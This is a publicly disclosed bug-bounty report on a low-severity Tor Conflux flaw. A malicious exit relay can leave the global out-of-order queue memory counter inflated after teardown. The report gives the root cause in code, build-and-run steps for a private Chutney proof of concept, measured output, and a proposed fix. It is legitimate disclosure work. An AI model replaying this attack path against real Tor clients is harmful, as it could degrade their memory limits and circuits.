HexBrain

Tor · Report #3701692

Malicious Conflux Endpoint Can Leave Stale Global OOO Queue Accounting After Teardown

Validstatus
lowseverity
$100bounty
35upvotes
16 Jun 2026disclosed

How it was found

Summary

Tor's Conflux OOO queue accounting can remain inflated after a Conflux set is torn down. A malicious Conflux-capable endpoint relay can send a real CONFLUX_SWITCH gap followed by RELAY_DATA cells, causing the client to queue out-of-order messages. When teardown happens before normal dequeue, conflux_free_() frees those messages but does not subtract their cost from total_ooo_q_bytes.

The victim client is unmodified in the PoC. Only the attacker-controlled exit relay is patched so it emits hostile Conflux traffic through Tor's normal relay-cell send path.

Root Cause

The accounting is balanced on normal dequeue, but not on teardown.

In src/core/or/conflux.c, OOO enqueue increments both counters:

total_ooo_q_bytes += cost;
cfx->ooo_q_alloc_cost += cost;

The normal dequeue path subtracts the same cost:

total_ooo_q_bytes -= cost;
cfx->ooo_q_alloc_cost -= cost;

But src/core/or/conflux_pool.c:conflux_free_() frees queued messages without the matching accounting update:

SMARTLIST_FOREACH(cfx->ooo_q, conflux_msg_t *, cell,
                  conflux_relay_msg_free(cell));
smartlist_free(cfx->ooo_q);

That leaves total_ooo_q_bytes counting memory that has already been freed. This stale value is later included in src/core/or/relay.c:cell_queues_check_size():

const size_t conflux_total = conflux_get_total_bytes_allocation();
alloc += conflux_total;

If the global allocation total reaches MaxMemInQueues, Tor's OOM recovery path can close circuits through circuits_handle_oom().

PoC / Evidence

The attached PoC builds two Tor binaries and runs a private Chutney network. The victim side uses the clean Tor binary. The second binary is used only for attacker-controlled exit relays, where the patch sends real CONFLUX_SWITCH and RELAY_DATA cells on the negotiated Conflux leg. The harness then restarts clean exits to force normal teardown and reads conflux_get_total_bytes_allocation() / MaxMemInQueues from the clean client with gdb.

Attached PoC files:

  • poc-files/run-poc.sh
  • poc-files/attacker-relay.diff
  • poc-files/chutney-network

Build and run the proof:

mkdir -p ~/conflux-ooo-oom-check
cd ~/conflux-ooo-oom-check

git clone https://gitlab.torproject.org/tpo/core/tor.git tor-clean
git clone https://gitlab.torproject.org/tpo/core/tor.git tor-attacker-exact
git clone https://gitlab.torproject.org/tpo/core/chutney.git chutney

cp /path/to/poc-files/attacker-relay.diff ~/
cp /path/to/poc-files/chutney-network ~/
cp /path/to/poc-files/run-poc.sh ~/

Build the clean victim/network binary:

cd ~/conflux-ooo-oom-check/tor-clean
git checkout a66e072d7f3752fe98d4e59129b35b0942d4399b
./autogen.sh
./configure --disable-asciidoc
make -j"$(nproc)"

Build the attacker-exit binary:

cd ~/conflux-ooo-oom-check/tor-attacker-exact
git checkout a66e072d7f3752fe98d4e59129b35b0942d4399b
git apply ~/attacker-relay.diff
./autogen.sh
./configure --disable-asciidoc
make -j"$(nproc)"

Install Chutney dependencies if needed:

cd ~/conflux-ooo-oom-check/chutney
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install -U 'typing_extensions' 'typeguard==4.3.0' \
  'tomli-w~=1.2.0' 'paramiko~=4.0' 'cryptography~=3.4'

Allow local counter inspection with gdb:

# Measurement only. This does not change Tor behavior or the attack path.
sudo sysctl -w kernel.yama.ptrace_scope=0

Run the proof script:

cd ~
. ~/conflux-ooo-oom-check/chutney/.venv/bin/activate

ROUNDS=4 \
TARGET_COUNTER=1000000 \
TRAFFIC_PASSES=1 \
TRAFFIC_TIMEOUT=35 \
TOR_CONFLUX_OOO_CELLS=900 \
TOR_CONFLUX_OOO_PROBES=60 \
  bash ~/run-poc.sh

Successful proof output:

timestamp                  label                         mem_available_mb  client_rss_mb  client_vmsize_mb  conflux_counter  max_mem_in_queues  attacker_sends  oom_lines
2026-04-28T22:59:29+05:30  baseline                      7872.5            12.6           306.1             0                6625393048         0               0
2026-04-28T23:00:14+05:30  round-1-after-attack          7886.2            12.8           313.9             327716           6625393048         83              0
2026-04-28T23:00:24+05:30  round-1-after-clean-restart   8052.1            12.8           313.9             327716           6625393048         83              0
2026-04-28T23:01:09+05:30  round-2-after-attack          7918.1            12.8           313.9             720904           6625393048         185             0
2026-04-28T23:01:19+05:30  round-2-after-clean-restart   8079.9            12.8           313.9             720904           6625393048         185             0
2026-04-28T23:02:04+05:30  round-3-after-attack          7870.9            12.8           313.9             1441452          6625393048         278             0
2026-04-28T23:02:14+05:30  round-3-after-clean-restart   8205.4            12.8           313.9             1441452          6625393048         278             0
[result] target counter reached: 1441452 >= 1000000

Attacker-side proof line:

PoC: Conflux OOO exact-leg probe queued 124 DATA cells; stop this exit now to force client-side teardown

The important observation is that the Conflux allocation counter remains non-zero after the attacker exits are replaced by clean exits. This confirms successful exploitation of the stale accounting bug after real teardown under default MaxMemInQueues settings. No OOM was triggered in this run.

Recommended Fix

Make Conflux OOO teardown use the same accounting invariant as normal dequeue.

static void
conflux_free_queued_msg_accounted(conflux_t *cfx, conflux_msg_t *msg)
{
  size_t cost = conflux_msg_alloc_cost(msg);

  if (BUG(total_ooo_q_bytes < cost))
    total_ooo_q_bytes = 0;
  else
    total_ooo_q_bytes -= cost;

  if (BUG(cfx->ooo_q_alloc_cost < cost))
    cfx->ooo_q_alloc_cost = 0;
  else
    cfx->ooo_q_alloc_cost -= cost;

  conflux_relay_msg_free(msg);
}

Then use it from conflux_free_():

SMARTLIST_FOREACH(cfx->ooo_q, conflux_msg_t *, cell,
                  conflux_free_queued_msg_accounted(cfx, cell));
smartlist_free(cfx->ooo_q);

Regression tests should verify that teardown with a non-empty Conflux OOO queue returns conflux_get_total_bytes_allocation() to zero.

Impact

A malicious Conflux-capable endpoint can cause Tor's global Conflux OOO queue-memory counter to remain inflated after teardown, and that stale counter can persist until Tor restart.

This can also affect Tor's OOM recovery path if enough stale accounting accumulates, but this report does not include a default-config OOM PoC.

Why: stale bytes count against MaxMemInQueues until restart.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original